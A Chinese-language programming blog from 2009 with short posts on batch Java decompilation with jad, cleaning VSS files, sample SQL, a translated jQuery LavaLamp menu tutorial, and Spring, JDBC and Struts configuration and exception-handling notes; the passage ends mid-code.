反编译别人的程序是不对的,但是有时候由于某种原因,不得不反编译别人的代码,那就需要一个工具了。小颖JAVA源代码反编译专家V1.4终极版是个很好的工具,但是只能对JDK1.4.2和之前的版本编译的程序反编译,而JDK5.0后的就无能为力了,但是可以下载JAD.EXE来逐个反编译 CLASS文件,不过如果碰到有几十个或几百个文件夹,并且目录很深的时候,就麻烦了,这个给出一个直接使用命令行反编译整个目录的方法:使用jad批量反编译
jad -o -r -sjava -d src bin/**/*.class
src: 是反编後的目錄
bin:指 package 開頭
将bin里面所有的.class反编译到src下面JAD下载: 文件名: jadnt157.ziphttp://download.pchome.net/php/dl.php?sid=9111
jad:反编译工具
可以将class文件反编译成java文件
假设将jad.exe安装在f:\java\jad目录下
把要反编译的文件*.class复制到此目录下,接着接以下步骤,
在命令行窗口环境中进入jad目录,
然后运行:jad -s java *.class (附,*.class指要反编译的文件名)
如果*.class文件和jad程序不在同一个目录,就要用到path环境变量,
将jad 所在目录加到path路径中即可:set path=%path%;f:\java\jad
若要了解jad更为详细的使用帮助信息,直接运行jad.exe查看
以下假设jad.exe在c:\java目录下
一、基本用法
Usage:jad [option(s)]
直接输入类文件名,且支持通配符,如下所示。
c:\java\>jad example1.class
c:\java\>jad *.class
结果是将example1.class反编译为example1.jad。将example1.jad改为example1.java即得源文件。
二、Option -o
不提示,覆盖源文件
三、Option -s
c:\java\>jad -sjava example1.class
反编译结果以.java为扩展名。
四、Option -p
将反编译结果输出到屏幕
c:\java\>jad -p example1.class
将反编译结果重定向到文件
c:\java\>jad -p example1.class>example1.java
五、Option -d
指定反编译的输出文件目录
c:\java\>jad -o -dtest -sjava *.class
六、Option -r
按*.class的包结构输出文件目录
c:\java\>jad -o -r -dtest -sjava d:/1/**/*.class
将d:\1\文件夹下的.class文件按照原程序的包结构反编译到test目录下。
命令行选择的列表
-a - 用JVM字节格式来注解输出
-af - 同 -a,但是注解的时候用全名称
-clear - 清除所有的前缀
-b - 输出多于的括号 (e.g., if(a) { b(); }, default: no)
-d
- 指定输出文件的文件目录
-dead -试图反编译代码的dead 部分(default: no)
-disass - 不用用字节码的方式反编译 (no JAVA source generated)
-f - 输出整个的名字,无论是类还是方法
-ff -输出类的成员在方法之前 (default: after methods)
-i - 输出所有的变量的缺省的最初值
-l - 将strings分割成指定数目的块的字符 (default: no)
-lnc - 将输出文件用行号来注解 (default: no)
-nl - 分割strings用新行字符 newline character (default: no)
-nodos -不要去检查class文件是否以dos方式写 (CR before NL, default: check)
-nocast - 不要生成辅助文件
-nocode -不要生成方法的源代码
-noconv - 不要转换java的定义符 (default: do)
-noctor - 不允许空的构造器存在
-noinner -关掉对内部类的支持 (default: turn on)
-nolvt - 忽略局部变量的表信息
-nonlb - 不要输出一个新行在打开一个括号之前 (default: do)
-o - 无需确认直接覆盖输出 (default: no)
-p - 发送反编译代码到标准输出 STDOUT (e.g., for piping)
posted @
2009-12-13 22:40 junly 阅读(954) |
评论 (0) |
编辑 收藏
scc是工程加入了SourceSafe以后产生的文件不是每个工程都应该有的
sourcesafe源代码版本管理软件
在使用VSS进行源码管理时,当软件部署时,在部署文件夹下会有许多的vssver2.scc文件,可以使用如下命令批量删除:
del vssver2.scc /s/f/q
参数S:删除当前文件夹和子文件夹下的文件
参数F:删除只读文件
参数Q:删除时不提示
posted @
2009-12-13 22:15 junly 阅读(2786) |
评论 (1) |
编辑 收藏
相关资料:
1
blog1
2
为何Block协议比File协议快
3
如何在RPG程序使用BLOCK关键词提高读写文件速度
posted @
2009-12-13 22:04 junly 阅读(159) |
评论 (0) |
编辑 收藏
select b.promo_number,b.payment_time,b.validity_days,a.tim,b.goods_name,b.payment_time+b.validity_days from
(select max(m.send_time) tim
from tb_payment_promo_log p,tb_mobile_log m
where p.goods_id=615732 and p.user_name='ywj123'
and p.promo_number=m.operate
and p.user_name = m.user_name ) a , tb_payment_promo_log b,tb_mobile_log c
where b.goods_id=615732 and b.user_name='ywj123' and b.user_name = c.user_name and a.tim = c.send_time
order by b.payment_time desc
select t3.usid,t3.usname,t3.usarea,t3.cell from
(select t2.cellphone cell,max(t1.game_money+t1.bank_game_money) money,t1.user_id usid,t1.user_name usname,t1.user_area usarea from tb_rd_user_info t1,tb_rd_user_info2 t2
where t1.login_tim <= sysdate-7 and t1.login_tim > sysdate-8 and t1.user_id = t2.user_id and t2.cellphone is not null
group by t2.cellphone,t1.user_id,t1.user_name,t1.user_area) t3
where t3.money < 500000
posted @
2009-12-10 11:55 junly 阅读(293) |
评论 (0) |
编辑 收藏
具有flash效果的菜单,基于jquery
Download the zip file version 0.2.0 of LavaLamp and open the demo.html to check it out for yourself
LavaLamp menu
来源:http://gmarwaha.com/blog/?p=7
翻译:lxr
转载请注明出去。
预览:DEMO1
将鼠标放在上面的例子上,你就会感觉到Lava Lamp的完美效果。LavaLamp menu是基于jquery库的,就我个人而言,我认为它的效果并不亚于flash菜单,而且它比flash要小得多。就像你知道的它仅仅只有700bytes。
我常注意到,授权一般在最终版本。现在我诚落在早期版本你将获得授权。这个效果最先是由Guillermo Rauch用mootools库写的。我所做的的仅仅是为了jquery的爱好者而将它改写为基于jquery库的。非常感谢Guillermo 创建的完美效果。特别感谢Stephan Beal将它取名为“LavaLamp”,和Glen Lipka 在外观图形上的帮助,以及众多的jquery爱好者的支持。
作为一个用户界面开发者,我们知道用户最常用的是菜单。我们一直追求的就是吸引用户的眼球,我相信LavaLamp向这一方向迈出了一步。在这些废话让你厌烦之前让我们开始将LavaLamp加入到你的网站中。
我希望你认同一个典型的html部件由3个不同的元件组成。
一个标记正确的html
css
javascript
现在让我们按照上面的步骤将LavaLamp菜单加入到你的网站中。在用jquery库替换mootools库的过程中,我为你写了javascript和css以供使用。因此请你按照本页教程的步骤使用jQuery。在Guillermo Rauch
的页面中有mootools版本的教程。
步骤1: HTML
由于大多数用户界面开发人员认为无序清单( ul )是正确的语义结构菜单/导航,所用就让我们从这里开始。
<ul class="lavaLamp">
<li><a href="#">Home</a></li>
<li><a href="#">Plant a tree</a></li>
<li><a href="#">Travel</a></li>
<li><a href="#">Ride an elephant</a></li>
</ul>
在上面的“ul”表示菜单,每一个“li”项代表一个菜单项,这一点对理解我们外加的“li”标记用来描述高亮显示的菜单项有很大帮助。因为背景仅仅是用来美化用的,它并不代表一个菜单项,因此我们可以从javascript中加载它。只是为了确保它与鼠标同步,就先说“你不必加入li”,LavaLamp将特别注意它,一旦加上,“li”所代表的背景就会看起来是这样的:
<li class="back"><div class="left"></div></li>
步骤2: CSS
你可以修改css以获得自己想要的外观,这里列出了一种,在“Bonus”部分列出了另外几种:
/**//* Styles for the entire LavaLamp menu */
.lavaLamp {}{
position: relative;
height: 29px; width: 421px;
background: url("../image/bg.gif") no-repeat top;
padding: 15px;
margin: 10px 0;
overflow: hidden; }
/**//* Force the list to flow horizontally */
.lavaLamp li {}{
float: left;
list-style: none;
}
/**//* Represents the background of the highlighted menu-item. */
.lavaLamp li.back {}{
background: url("../image/lava.gif") no-repeat right -30px;
width: 9px;
height: 30px;
z-index: 8;
position: absolute;
}
.lavaLamp li.back .left {}{
background: url("../image/lava.gif") no-repeat top left;
height: 30px;
margin-right: 9px;
} /**//* Styles for each menu-item. */
.lavaLamp li a {}{
position: relative;
overflow: hidden;
text-decoration: none;
text-transform: uppercase;
font: bold 14px arial;
color: #fff;
outline: none;
text-align: center;
height: 30px;
top: 7px;
z-index: 10;
letter-spacing: 0;
float: left;
display: block;
margin: auto 10px;
}
相信我这只是一个很简单的样式表,请继续向下看以理解每一部分的作用。
第一,我们用亮橙色作为背景以及一些基本属性height,width,padding,margin等等来风格化“ul”。我们使用了相对定位,这样我们才能确定背景“li”与“ul”的关系。这样我们才能自由移动背景“li”。
下一步,我们使“li”水平移动而不是垂直。默认时它是垂直移动的,在这种情况下我们使用“float:left”以达到我们所需的效果。
下一步,我们使用“li”来高亮表示现在所在的菜单项,这使用了sliding doors technique另外注意上面所提到的相对位置。
最后一步,格式化链接
上面的规则不是很易懂,如果你对改写css没有信心我推荐你快速阅读一下CSS positioning。它简短且通俗易懂。
步骤3: Javascript
这是一个非常简单的部分,所有的功能在Lava Lamp plugin中,作为一个开发者你要做的仅仅是将它包含到你的网页中。
<script type="text/javascript" src="/path/to/jquery.js"></script>
<script type="text/javascript" src="/path/to/jquery.lavalamp.js"></script>
<!-- Optional -->
<script type="text/javascript" src="/path/to/jquery.easing.js"></script>
<script type="text/javascript">
$(function() { $(".lavaLamp").lavaLamp({ fx: "backout", speed: 700 })});
</script>
包含jquery库和LavaLamp plugin,可选择将easing plugin也加入到其中,因为它包含很多很酷的效果。例如本例的效果就要引用easing plugin。在这里下载
jquery,
easing plugin,
LavaLamp plugin。
接下来,在“document.ready event”中,“fx”默认为“linear”“speed”为“500”。
Bonus
仅仅简单修改一下css你就可获得一个完全不同风格的菜单,当然其他部分不需要改动
预览:DEMO2
这是另外一个,也只改动了css,我想它并不美观但我想要说的是你仅仅是被自己的想象力所束缚了。
预览:DEMO3
源文件下载
posted @
2009-12-06 23:18 junly 阅读(559) |
评论 (0) |
编辑 收藏
摘要: java开发时往往需要做字符串和日期的转换
主要用到:java.text.SimpleDateFormat
SimpleDateFormat sdf = new SimpleDateFormat( " yyyy-MM-dd HH:mm:ss " );
...
阅读全文
posted @
2009-12-03 17:09 junly 阅读(5351) |
评论 (0) |
编辑 收藏
1 jndi
配置数所源
<context:property-placeholder location="jdbc.properties"/>//引入资源文件
<bean id="datasource" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close">
<property name="driverClassName" value="org.git.mm.mysql.Driver[${driverClassName}]"/>
<property name="url" value="jdbc:mysql://localhost:3306/database?useUnicode=true & characterEncoding=UTF-8[${url}]"/>
<property name="username" value="root[${username}]"/>
<property name="password" value="root[${password}]"/>
<!-- 连接池启动时的初始值勤 -->
<property name="initialSize" value="1[${initialSize}]"/>
<!-- 连接池的最大值 -->
<property name="maxActive" value="500[${maxActive}]"/>
<!-- 最大空闲值,当经过一个高峰时间后,连接池可以慢慢将已经用不到的连接释放一部分,一直减少到maxIdle为止 -->
<property name="maxIdle" value="2[${maxIdle}]"/>
<!-- 最小空闲值,当连接池的连接数量少于阀值时,连接池就会申请一些连接,以免洪峰时来不及申请 -->
<property name="minIdle" value="1[${minIdle}]"/>
</bean>
2 bean
<bean id="datasource" class="org.apache.commons.dbcp.BasicDataSource">
<property name="driverClassName" value="com.microsoft.sqlserver.jdbc.SQLServerDriver"/>
<property name="url" value="jdbc:sqlserver://127.0.0.1:1433;databaseName=somken"/>
<property name="username" value="sa"/>
<property name="password" value="123456"/>
</bean>
<bean id="sf" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
<property name="dataSource" ref="datasource"/>
<property name="mappingResources">
<list>
<value>org/somken/entity/UserInfo.xml</value>
</list>
</property>
<property name="hibernateProperties">
<props>
<prop key="hibernate.dialect">org.hibernate.dialect.SQLServerDialect</prop>
<prop key="hibernate.show_sql">true</prop>
</props>
</property>
</bean>
3 读取hibernate.cfg.xml
<bean id="sf" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
<property name="configLocation" value="classpath:hibernate.cfg.xml"/>
</bean>
posted @
2009-11-30 09:45 junly 阅读(300) |
评论 (0) |
编辑 收藏
摘要: IOC控制反转:应用本身不负责依赖对象的创建及维护,依赖对象的创建及维护是由外部容器负责的。
依赖注入:在运行期,由外部容器动态地将依赖对象注入到组件中。
-----------------------------------------------------------------------------
第一个项目
1 spring的依赖库
&n...
阅读全文
posted @
2009-11-30 08:58 junly 阅读(345) |
评论 (0) |
编辑 收藏
摘要: 静态代理
通过接口实现
动态代理
1 编写java代理类
public class SecurityHandler implements InvocationHandler {
private Object targetObject;
 ...
阅读全文
posted @
2009-11-30 08:36 junly 阅读(344) |
评论 (0) |
编辑 收藏
sql
package org.epet.dao.impl;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.sql.DataSource;
import com.sun.java_cup.internal.internal_error;
public abstract class BaseDAO {
private static final String DRIVER_CLASS = "com.microsoft.sqlserver.jdbc.SQLServerDriver";
private static final String DATABASE_URL = "jdbc:sqlserver://localhost:1433;DatabaseName=epet";
private static final String DATABASE_USER = "sa";
private static final String DATABASE_PASSWORD = "accp";
/** *//**
* 返回连接
* @return
*/
public static Connection getConnection() {
Connection connection=null;
try {
Class.forName(DRIVER_CLASS);
connection = DriverManager.getConnection(DATABASE_URL,
DATABASE_USER, DATABASE_PASSWORD);
// Context tx=new InitialContext();
// DataSource ds=(DataSource)tx.lookup("java:comp/env/food");
// connection=ds.getConnection();
} catch (SQLException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return connection;
}
/** *//**
* 查询
* @param sql
* @return
*/
public static ResultSet getDate(String sql){
Connection connection=getConnection();
ResultSet resultSet=null;
try {
PreparedStatement preparedStatement=connection.prepareStatement(sql);
resultSet=preparedStatement.executeQuery();
} catch (SQLException e) {
e.printStackTrace();
}
return resultSet;
}
public static int dele(String sql,int id){
int result=0;
Connection connection=getConnection();
try {
PreparedStatement preparedStatement=connection.prepareStatement(sql);
preparedStatement.setInt(1, id);
result=preparedStatement.executeUpdate();
} catch (SQLException e) {
e.printStackTrace();
}
return result;
}
}
mysql:
/**//*show databases;
create database aa;
use aa;
show tables;
select * from userinfo limit 1,2;
-----------------------------------------*/
public connection getConnection () throws SQLException{
Class.forName("com.mysql.jdbc.Driver");
String url="jdbc:mysql://127.0.1:3306/somken(数据库名)";
return DriverManager.getConnection(url,"root","root");
}
posted @
2009-11-30 08:21 junly 阅读(516) |
评论 (0) |
编辑 收藏
1 自定义异常类 SystemException.java
public class SystemException extends RuntimeException{
//自定义key
private String key;
//自定义参数
private Object[] values;
//实现父类的构造方法
public SystemException() {
super();
}
public SystemException(String message, Throwable cause) {
super(message, cause);
}
public SystemException(String message) {
super(message);
}
public SystemException(Throwable cause) {
super(cause);
}
//自定义构造方法
public SystemException(String message, String key) {
super(message);
this.key=key;
}
//自定义构造方法,带一个参数
public SystemException(String message, String key,Object value) {
super(message);
this.key=key;
this.values=new Object[]{value};
}
//自定义构造方法,带多个参数
public SystemException(String message, String key,Object[] values) {
super(message);
this.key=key;
this.values=values;
}
//相应的get方法
public String getKey() {
return key;
}
public Object[] getValues() {
return values;
}
}
2 自定义异常处理器 SystemExceptionHandler.java
//作用:截获SystemException,并根据SystemException中的信息动态创建ActionMessage等这些错误信息,
将其存在request中
public class SystemExceptionHandler extends ExceptionHandler{
/**
* 处理SystemException异常
*/
@Override
public ActionForward execute(Exception ex,//抛出的异常
ExceptionConfig config,//struts-config.xml中的配置信息
ActionMapping mapping,
ActionForm form,
HttpServletRequest request,
HttpServletResponse response) throws ServletException {
ActionForward forward=null;
//创建ActionForward
if(config.getPath()!=null){
//有path属性,则根据path创建
forward=new ActionForward(config.getPath());
}else {
//没有path属性,则根据input属性创建
forward=mapping.getInputForward();
}
if(ex instanceof SystemException){
SystemException se=(SystemException)ex;
//key可有可无,所以取出key进行判断
String key=se.getKey();
ActionMessage error=null;
//如果自定义的key为空,用struts的
if(key==null){
//拿出error.default和message,创建ActionMessage对象
error=new ActionMessage(config.getKey(),se.getMessage());
}else {
//如果自定义的key有值
if(se.getValues()!=null){
error=new ActionMessage(key,se.getValues());
}else {
//如果自定义的key有值,则根据key创建ActionMessage对象
error=new ActionMessage(key);
}
}
//将这个ActionMessage放到request中。key为自定义的,error为ActionMessage对象
//forward是要转到什么地方,根据path属性创建。"request"为scope的一个,也可以
//用config.getScope()
this.storeException(request, key, error, forward, config.getScope());
return forward;
}
return super.execute(ex, config, mapping, form, request, response);
}
}
3 编写配置文件 struts-config.xml
<global-exceptions>
<exception key="error.default"
type="java.lang.Exception"
scope="request"
path="/common/exception.jsp"
<!-- 自定义的异常处理类 -->
handler="org.oa.common.SystemExceptionHandler"/>
</global-exceptions>
4 编写资源文件 ApplicationResources.properties
error.default={0}
error.org.del=Can't Del Orgnation,id is {0}!
5 业务代码
throw new org.oa.common.SystemException("存在子机构,不允许删除!","error.org.del",org.getOname());
posted @
2009-11-30 08:17 junly 阅读(494) |
评论 (0) |
编辑 收藏
框架
面向请求驱动:
struts1.x,struts2.x,WebWork
面向事件驱动的(JSF)
--------------------------------------
struts空字段测试
<input type="text" name="username"\>
ActionForm中有:
private String username;
private String password;
页面取得值:
<%=form.getUserName()%>//结果:
<%=form.getPassWord()%>//结果:null
${requestScope.userActionForm.username}//结果:
${requestScope.userActionForm.password}//结果:
----------------------------------------------------
java国际化
1 了解缺省Locale是由操作系统决定的,Locale是由语言和国家代码组成
2 国际化资源文件是由baseName+locale组成,一般在src目录下就可以了,如:MessageBundle_en_US.properties
baseName是任意合法的文件名
3 native2ascii命令的位置和用法
* 位置:java_home/bin
* 使用native2ascii.exe o.properties MessagesBundle_zh_CN.properties
* DOS
D:\>native2ascii -encoding gb2312 aaa.txt bbb.txt
------------------------------------------------------------------
struts国际化
1 在struts-config.xml文件中加入:<message-resources parameter="MessageResources"/>
注意:文件默认放在根src下,如入在其他目录下.
如:res目录下用"."连接<message-resources parameter="res.MessageResources"/>
2 提供不同版本的国际化文件,中文需要采用native2ascii转换成unicode
MessageResources_en_US.properties文件
user.login.success={0},Login Success
user.title=User Login
user.name=User Name
user.password=Password
user.button.login=Login
MessageResources_zh_CN.properties文件
user.login.success={0},\u767b\u5f55\u6210\u529f
user.title=\u7528\u6237\u767b\u5f55
user.name=\u7528\u6237\
user.password=\u5bc6\u7801
user.button.login=\u767b\u5f55
3 在jsp中采用<bean:message>标签读取国际化文本
<titel><bean:message key="user.title"/></title>
<bean:message key="user.name"/>:<input type="text" name="username"/>
<bean:message key="user.password"/>:<input type="password" name="password"/>
<input type="submit" value="<bean:message key="user.name"/>"/>
4 动态设置locale
Locale currentLocale=Locale.getDefalut();得到Locale
currentLocale=new Loale("zh","CN");//建立Locale
currentLocale=new Loale("en","US");//建立Locale
request.getSession().setAttribute(Globals.LOCALE_KEY,currentLocale);
this.setLocale(request,currentLocale);//效果同上
5 动态设置message
* 创建messages集合
ActionMessages messages=new ActionMessages();
* 创建国际化消息文本
public ActionMessage(String key,Object value)
ActionMessage message=new ActionMessage("user.login.success",username);//只不清一个参数
//ActionMessage message=new ActionMessage("user.login.success",new Object[]{username});//多个参数
messages.add("loginSuccess1",message);
* 传递国际化消息文本
this.saveMessages(request,messages);
错误信息传递使用:this.saveErrors(request,messages);
* 页面输出
通过<html:message>标签显示消息(可以显示普通消息和错误消息)
通过<html:errors>标签显示消息(只能显示错误消息)
<html:messages id="msg" message="true">//html:messages标记与ActionMessages messages集合对应
<bean:write name="msg"/>
<html:messages>
<html:messages id="msg" message="true" property="loginSuccess1">
<bean:write name="msg"/>
<html:messages>
-------------------------------------------------------------------
JSTL国际化
<fmt:setLocale vlaue="${header['accept-language']}"/>设置locale
<fmt:setBundle basename="res.MessageResources"/>//设置资源文件
<fmt:message key="user.username"/>
---------------------------------------------------------------------
struts的路径与模式匹配
posted @
2009-11-30 08:16 junly 阅读(344) |
评论 (0) |
编辑 收藏
1 建立页面
<form action="" name="form1" enctype="multipart/form-data" method="post">
2 建ActionForm类
private String title;
private FormFile file;//必须用apache的FormFile类(org.apache.struts.upload.FormFile)
3 建立Action类
UplodaActionForm uaf=(UplodaActionForm)form;
Systyem.out.println("title:"+uaf.getTitle());
FormFile file=uaf.getFile();
if(file!=null)
{
System.out.println("fileName:"+file.getFileName());
FileOutputStream fos=new FileOutputStream("c:\\"+file.getFileName());
fos.write(file.getFileData());
fos.flush();
fos.close();
}
return mapping.findForward("sessucc");
4 配置ActionForm和Action
<controller MaxFileSize="10M"></controller>该属性可以配置上传文件的大小等相关信息
posted @
2009-11-30 08:16 junly 阅读(416) |
评论 (0) |
编辑 收藏
1 ActionForm中的validate方法验证
1)重写ActionForm中的validate方法
public ActionErrors validate(ActionMapping mapping,HttpServletRequest request){
ActionErrors errors=new ActionErrors ();
if(username==null || username.length()<0){
errors.add("unameisnull",new ActionMessgae("error.validate.unull"));
}
return errors;
}
2)资源文件ApplicationResources.properties
error.validate.unull=usernaem is null
3)在config.xml的<action-mappings>中<action>加入validate="true"属性
4)页面标签
<html:errors/>
----------------------------------------------------
validate验证框架
1 创建form继承ValidatorForm或用DynaValidatorForm
2 在WEB-INF下创建validator-rules.xml和validation.xml
3 在src下创建资源文件ApplicationResources.properties
4 要struts-config.xml中配
<plug-in className="org.apache.struts.validator.ValidatorPlugIn">
<set-property property="pathnames"
value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/>
</plug-in>
5 编写validation.xml文件
<formset>
<form name="userForm">
<field property="username" depends="required">
<arg key="lable.username"/>
</field>
</form>
</formset>
6 页面使用<html:errors/>标签
posted @
2009-11-30 08:15 junly 阅读(478) |
评论 (0) |
编辑 收藏
struts标签的使用和配置
配置:
1 在struts-config.xml文件中加入(可以到示例中的struts-config.xml文件中复制)
<message-resources parameter="MessageResources" />
2 在示例的src下拷贝MessageResources.properties文件到项目src下
3 在页面引入就可使用
<%@ taglib prefix="bean" uri="http://struts.apache.org/tags-bean"%>
说明:第1,2步为struts的国际化资源束文件引入,第3为标签引入
-----------------------------------------------------------------------------
Bean标记
bean:define
从已有的变量或者变量的属性来定义一个新的变量。
<bean:define id="新定义的变量名" scope="原变量的scope" name="原变量名" toScope="新定义变量的scope"></bean:define>
<bean:define id="新定义的变量名" scope="原变量的scope" name="原变量名" property="原变量的属性名" toScope="新定义变量的scope"></bean:define>
bean:write
<bean:write scope="变量的scope" name="变量名" property="变量的属性名" filter="是否按html格式输出(默认true为文本输出)" format="数字(###,###.0000)日期(yyyy-MM-dd HH:mm:ss)"/>
结构数据中多重属性可用"."作导航取出来
bean:message
相当于jstl中<fmt:message>(国际化标签)
1 定义资源文件
com.itcast.ApplicationResources.properties
com.itcast.ApplicationResources_zh_CN.properties
2 在struts-config中添加:
<message-resources parameter="ApplicationResources" key="myKey" />
3 页面中使用
<bean:message bundle="myKey" key="userName"/>
<bean:message bundle="myKey" key="password"/>
bean:size标签
--------------------------------------------------------------
logic标记
logic:empty/login:notEmpty 判断对象是否为空
<logic:empty name="对象名" property="属性名" scope="对象的scope">
为空<br>
</logic:empty>
logic:notEmpty 判断对象是否不为空
<logic:notEmpty name="对象名" property="属性名" scope="对象的scope">
不为空<br>
</logic:notEmpty>
logic:present 判断对象是否存在(用方同上)
logic:notPresent
----------------------------------------------||
例子:
request.setAtrribute("attr1",null);
request.setAtrribute("attr2","");
request.setAtrribute("attr3",new ArrayList());
<logic:empty name="attr1">
11<br>
</logic:empty>
<logic:notEmpty name="attr1">
12<br>
</logic:notEmpty>
<logic:present name="attr1">
13<br>
</logic:present>
<logic:notPresent name="attr1">
14<br>
</logic:notPresent>
<logic:empty name="attr2">
21<br>
</logic:empty>
<logic:notEmpty name="attr2">
22<br>
</logic:notEmpty>
<logic:present name="attr2">
23<br>
</logic:present>
<logic:notPresent name="attr2">
24<br>
</logic:notPresent>
<logic:empty name="attr3">
31<br>
</logic:empty>
<logic:notEmpty name="attr3">
32<br>
</logic:notEmpty>
<logic:present name="attr3">
33<br>
</logic:present>
<logic:notPresent name="attr3">
34<br>
</logic:notPresent>
结果:
11空
14不存在
21空
23存在
31空
33存在
-----------------------------------------||
html:equal/html:notEqual
html:greaterEqual大于等于
html:greaterThan大于
html:lessEqual小于等于
html:lessThan小于
-----------------------------------------||
logic:iterate(循环)
name:对应的bean,是一个集合类型
property:对应的集合类型的属性
scope:变量的scope
id:临时变量名
offset:循环起始位置
indexId:集合中当前无素的下标
length:控制长度
单循环
<logic:iterate id="username" scope="request" name="对应的bean,是一个集合类型">
output every username:${username }<br>
</logic:iterate>
双循环
<logic:iterate id="user" scope="request" name="list" offset="2" indexId="i">
${user.username }<br>
<logic:iterate id="love" name="user" property="loves">
${love }
</logic:iterate><br>
</logic:iterate><br>
logic:
tiles标记
----------------------------------------------------------------
html标签
<html:form action="/login" method="post">
username:<html:text property="username" value="123"/>
password:<html:password property="password"/>
sex:<html:radio property="sex" value="0" />男
<html:radio property="sex" value="1" />女
likes:<html:checkbox property="0" value="0">吃饭</html:checkbox>
<html:checkbox property="0" value="1">吃饭</html:checkbox>
xueli:<html:select property="xueli">
<html:option value="0">小学</html:option>
<html:option value="1">小学</html:option>
<html:optionsCollection property="qxlist" label="qx" value="qxid"/>
//<html:optionsCollection name="qxlist" label="qx" value="qxid"/>
1.
</html:select>
<html:submit value="提交"/>
</html:form>
posted @
2009-11-30 08:14 junly 阅读(674) |
评论 (0) |
编辑 收藏
struts validator验证框架
1 配置:
* 加入国际化配置在struts-config.xml文件中,如:
<message-resources parameter="MessageResources"/>
* 提供国际化资源文件
* 引入validator插件在struts-config.xml文件中,如:
<plug-in className="org.apache.struts.validator.ValidatorPlugIn">
<set=property
property="pathnames"
value="WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"
/>
</plug-in>
* 提供validator.xml和validator_rules.xml文件,将此文件拷贝到WEB-INF下
2 validator服务器验证
* 配置validation.xml文件
3 validator客户验证(javascript)
* 配置validation.xml文件
* 在jsp页面中包含<html:javascript>
* 对需要验证的表单定义onsubmit事件,其中事件名称为validate+ActionForm的名称,如:validateLogin
posted @
2009-11-30 08:13 junly 阅读(303) |
评论 (0) |
编辑 收藏
ForwardAction是统一访问形式
配置struts-config.xml即可
<action-mappings>
<action path="/preAddStudentAction" forward="/WEB-INF/AddStudent.jsp" />
<forward name="success" path="/login_success.jsp"/>
</action-mappings>
全局的
<global-forwards>
<forward name="success" path="/login_success.jsp"/>
</global-forwards>
对象名为ActionFroward,运行期不能改修配置,即调用froward.setReadirect(false);
ForwardAction执行完所有内容,forward属性到转向页面就停了
posted @
2009-11-30 08:12 junly 阅读(224) |
评论 (0) |
编辑 收藏
可以加入ValidatorPlugIn动态验证框架插件
org.apache.struts.validator.ValidatorPlugIn
posted @
2009-11-30 08:12 junly 阅读(204) |
评论 (0) |
编辑 收藏
一 配置异常(在struts-config.xml文件中定义),定制异常有两种:
1 全局异常(Global Exceptions)
<global-exceptions>
<exception key="invalideUser"
path="/Login.jsp" type="com.future.struts.MyException" />
</global-exceptions>
2 局部异常(Local Exception)
<action-mappings>
<action attribute="loginForm" name="loginForm"
path="/loginAction(出错转向的路径)" scope="request"
input="/login.jsp"//异常转向的页面,同exception中的path,优先级path高于input
/>
<exception key="invalideUser(异常信息的key)" path="/Error.jsp"
type="cn.itcast.ItcastException(异常类全名)" />
</action-mappings>
path:出现异常后跳转的页面
key:异常信息的键,对应的值在资源文件当中
type:所要处理的异常类
二 在相应的action中的execute方法中抛出异常
三 在异常处理页面(path所指的页面)使用html:errors标签打印异常信息
1 建立资源文件ApplicationResources.properties
内容:invaliduser=it is an invalid user(key/value)
2 配置struts-config.xml文件
<message-resources parameter="cn.itcast.ApplicationResources" key="invalideuser"/>
3 使用html:errors标记打印信息
<html:errors />
--------------------------------------------
1 编程式异常
* 截获异常
* 创建相应的异常消息
* 传递异常消息
* 转向相应的页面处理异常
2 声明式异常(自动处理的异常)
* 在struts-config.xml文件中配置<exeception/>标签
* 理解局部和全局exception
* 注意局部<exception/>标签需要配置到<forward/>标签的前面
<exeception/>标签中的属性说明:
* key:指异常信息对应的国际化消息文本,这个key值需要在国际化资源文件中定义
* type:处理那种异常
* path:定义一但出现异常,需要转向那个页面,如果不定义path,
默认情况下将使用<action>标签中input属性对应的页面
* scope:可以取值request和session,默认为request
* handler:导常的处理类,struts默认采用org.apache.struts.action.ExceptionHandler,
如果做个性化的异常处理可以继承此类复写相应的方法
-------------------------------------------------------------------------
个性异常类定义
一 方法:
1 定义MessageResources.propertices资源文件
2 在struts-config中配置<exception/>
<exception key="error.exception" type="com.bjsxt.struts.ErrorCodeException"
handler="com.bjsxt.struts.ErrorCodeException" />
3 编写异常类ErrorCodeException继承RuntimeException
public class ErrorCodeException extends RuntimeException {
private String errorCode;//这是key对应的值
private Object[] args;//这是参数集合
public ErrorCodeException(String errorCode){
this(errorCode,null);
}
public ErrorCodeException(String errorCode,Object args0){
this(errorCode,new Object[]{args0});
}
public ErrorCodeException(String errorCode,Object[] args){
this.errorCode=errorCode;
this.args=args;
}
public String getErrorCode() {
return errorCode;
}
public Object[] getArgs() {
return args;
}
}
4 编写ErrorCodeExceptionHandler类继承ExceptionHandler,
复写public ActionForward execute(Exception ex, ExceptionConfig ae,
ActionMapping mapping, ActionForm formInstance,
HttpServletRequest request, HttpServletResponse response)
throws ServletException{}方法:
public ActionForward execute(Exception ex, ExceptionConfig ae,
ActionMapping mapping, ActionForm formInstance,
HttpServletRequest request, HttpServletResponse response)
throws ServletException {
//添加判断
------------------------------------------------------------
if(!(ex instanceof ErrorCodeException)){
return super.execute(ex, ae, mapping, formInstance, request, response);
}
------------------------------------------------------------
ActionForward forward;
ActionMessage error;
String property;
// Build the forward from the exception mapping if it exists
// or from the form input
if (ae.getPath() != null) {
forward = new ActionForward(ae.getPath());
} else {
forward = mapping.getInputForward();
}
// Figure out the error
if (ex instanceof ModuleException) {
error = ((ModuleException) ex).getActionMessage();
property = ((ModuleException) ex).getProperty();
} else {
//改修这个地方
//----------------------------------------------
ErrorCodeException ece=(ErrorCodeException)ex;
String errorCode=ece.getErrorCode();
Object[] args=ece.getArgs();
error = new ActionMessage(errorCode, args);
property = error.getKey();
//------------------------------------------------
//error = new ActionMessage(ae.getKey(), ex.getMessage());
//property = error.getKey();
}
this.logException(ex);
// Store the exception
request.setAttribute(Globals.EXCEPTION_KEY, ex);
this.storeException(request, property, error, forward, ae.getScope());
if (!response.isCommitted()) {
return forward;
